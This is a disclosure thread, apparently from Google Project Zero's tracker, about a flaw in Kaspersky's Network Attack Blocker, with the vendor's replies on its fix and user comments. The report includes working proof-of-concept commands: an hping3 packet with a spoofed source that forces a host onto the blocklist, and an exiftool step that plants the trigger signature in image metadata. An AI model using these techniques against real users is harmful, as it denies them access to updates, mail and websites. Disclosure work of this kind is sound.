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Kaspersky Internet Security: Network Attack Blocker Design Flaw #564

Closed GoogleCodeExporter closed 8 years ago

GoogleCodeExporter commented 8 years ago 
A component of Kaspersky Internet Security that’s enabled by default is 
called the “Network Attack Blocker”, described as “protects the computer 
against dangerous network activity”. I examined the implementation, and 
determined that it’s actually a simple stateless packet filter with a 
pattern-matching signature system.

It has no concept of flow reassembly or protocol decoding, which require 
stateful packet inspection. When the software detects an attack, it adds the 
source address to an IP blacklist preventing any further communication with the 
host.

There are two obvious weaknesses in this design:

* It is not possible to differentiate between a sequenced TCP packet and an 
unsequenced TCP packet, therefore it is possible to spoof the origin.
* It is not possible to determine the application layer state when the packet 
was received.

This means that two easy attacks exist against Kaspersky users. First, simply 
extracting a signature and sending it to a Kaspersky user with a spoofed source 
address allows you to force them to blacklist any host (for example, that host 
could be dnl-01.geo.kaspersky.com or windowsupdate.microsoft.com), preventing 
them from accessing a resource. For example, if I wanted to prevent the 
Kaspersky user at 192.168.1.34 from receiving windows updates, I might do this 
(of course, due to RR DNS a real attack would be more involved than this, but 
you get the idea).

# xxd signature.dmp 
0000000: 596f 7520 4a75 7374 2047 6f74 2042 616e  You Just Got Ban
0000010: 6e65 6421 0acb 89d2 71e7 0043 5fa8 06c1  ned!....q..C_...
0000020: 2736 1baa 0496 746f e6d0 414b 3b80 85dc  '6....to..AK;...
0000030: 823f 5486 9976 b031 77d9 2a4a 9984 d390  .?T..v.1w.*J....
0000040: e9eb 830c d40a                           ......
# sudo hping3 -c 1 --spoof www.kaspersky.com -d $(wc -c < signature.dmp) --file 
signature.dmp -p 80 192.168.1.34
HPING 192.168.1.34 (eno16777736 192.168.1.34): NO FLAGS are set, 40 headers + 
70 data bytes
--- 192.168.1.34 hping statistic ---
1 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms

And the result on the host:

11.09.2015 13.54.25;The network attack  has been blocked.;"TCP from 
77.74.178.24 to port 0 Attacking computer has been 
blocked.";TCP;77.74.178.24;09/11/2015 13:54:25;0

This user can no longer access kaspersky.com.

A second attack relies on the fact that stateless packet inspection cannot 
understand the higher layer protocol state, because of the lack of context. 
This can be exploited by pasting a signature into an email, or embedding a 
signature into an image. Because a stateless firewall doesn’t understand that 
this is just an email or comment, it observes an attack and blocks it, and the 
user can no longer communicate with their mail server.

To demonstrate this weakness, let’s embed an attack into the metadata of an 
image:

$ file kaspersky.png
kaspersky.png: PNG image data, 680 x 383, 8-bit/color RGB, non-interlaced
$ xxd signature.dmp
0000000: 596f 7520 4a75 7374 2047 6f74 2042 616e  You Just Got Ban
0000010: 6e65 6421 0acb 89d2 71e7 0043 5fa8 06c1  ned!....q..C_...
0000020: 2736 1baa 0496 746f e6d0 414b 3b80 85dc  '6....to..AK;...
0000030: 823f 5486 9976 b031 77d9 2a4a 9984 d390  .?T..v.1w.*J....
0000040: e9eb 830c d40a                           ......
$ exiftool '-comment<=signature.dmp' kaspersky.png 
    1 image files updated

Now when viewed over http, the Kaspersky user will automatically add the 
hosting site to an IP blocklist.

The inherent design flaw of stateless packet inspection makes this product 
quite open to abuse.

This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.

Original issue reported on code.google.com by tav...@google.com on 9 Oct 2015 at 5:47

Attachments:

GoogleCodeExporter commented 8 years ago 
Issue 530 has been merged into this issue.

Original comment by tav...@google.com on 9 Oct 2015 at 5:47

GoogleCodeExporter commented 8 years ago 
Update from Kaspersky:

Hi Tavis,

Thank you again for this report! We’ve reviewed Network Attack Blocker 
feature based on your input. Indeed there are some signatures that didn’t not 
check packet for attributes such session id or other. We are in a process of 
reviewing all feature’s signatures to make sure that they block remote hosts 
only if following conditions are met:
·         packet belongs to a valid TCP session

·         it’s a successfully initiated TCP session

·         it’s an inbound TCP session

In all other cases remote host won’t be blocked.

We will release such fix shortly. I’ll update you on a date of this release 
on Friday.

Best regards,
Igor

Original comment by tav...@google.com on 9 Oct 2015 at 5:47

GoogleCodeExporter commented 8 years ago 
I pointed out that they also monitor UDP and ICMP, and must disable that, they 
responded:

Hi Tavis,

We will release a fix for the first set of signatures in next few days. All 
signatures will be checked and corrected if required by 9-Oct. By this date we 
make sure that blocks are done only for TCP according to the conditions below 
(no blocks for UDP, ICMP or others)

Thanks,
Igor

Original comment by tav...@google.com on 9 Oct 2015 at 5:48

GoogleCodeExporter commented 8 years ago 
Attaching screenshot for reference.

Original comment by tav...@google.com on 9 Oct 2015 at 5:49

Attachments:

GoogleCodeExporter commented 8 years ago 
Kaspersky have scheduled the final fix for this to be released today, so 
removing view-restrictions.

Original comment by tav...@google.com on 9 Oct 2015 at 5:51

GoogleCodeExporter commented 8 years ago 
So your released the issue before the actual fix is available?  Poor form.

Original comment by sonicwal...@gmail.com on 10 Oct 2015 at 9:13

GoogleCodeExporter commented 8 years ago 
I think you're confused. The fix was available on October 8th, the issue was 
reported on September 11th. The issue was released on October 9th.

This schedule follows our documented disclosure policies.

Original comment by tav...@google.com on 10 Oct 2015 at 9:45

GoogleCodeExporter commented 8 years ago 
I am surprised that these anti-virus software manufacturers don't take security 
seriously. In addition to making some trivial mistakes, I have not seen any 
public advisories or CVEs from them regarding these issues.

Original comment by athmi...@gmail.com on 11 Oct 2015 at 9:27

GoogleCodeExporter commented 8 years ago 
Good work is appreciated. 
A Kaspersky user since 8 years.

So far, we have been living with a false sense of security.

I am glad that Kaspersky is taking corrective actions.

Original comment by vakhari...@gmail.com on 12 Oct 2015 at 8:24